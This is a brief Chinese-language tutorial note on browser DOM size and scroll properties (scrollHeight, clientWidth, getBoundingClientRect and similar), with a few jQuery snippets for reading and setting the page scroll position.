scrollHeight, scrollWidth:只读属性。返回元素内容的整体尺寸,包括元素看不见的部分(需要滚动才能看见的)。返回值包括padding,但不包括margin和border。如下图:
scrollTop, scrollLeft:图中已经表示的很明白了。如果元素不能被滚动,则为0。
window.innerWidth, window.innerHeight:只读。视口(viewport)的尺寸,包含滚动条
clientHeight, clientWidth:包括padding,但不包括border, margin和滚动条。如下图
Element.getBoundingClientRect():只读,返回浮点值。这个方法非常有用,常用于确定元素相对于视口的位置。该方法会返回一个DOMRect对象,包含left, top, width, height, bottom, right六个属性:
left, right, top, bottom:都是元素(不包括margin)相对于视口的原点(视口的上边界和左边界)的距离。
height, width:元素的整体尺寸,包括被滚动隐藏的部分;padding和border参与计算。另外,heigth=bottom-top, width=right-left。
jQuery常用监听页面滚动
当前滚动的地方的窗口顶端到整个页面顶端的距离:
var winPos = $(window).scrollTop();
获取指定元素的页面位置
$(val).offset().top;
对页面滚动条滚动的监听:要放在页面加载的时候
$(window).scroll(function(event){});
设置滚动条到指定位置
$(window).scrollTop(offset)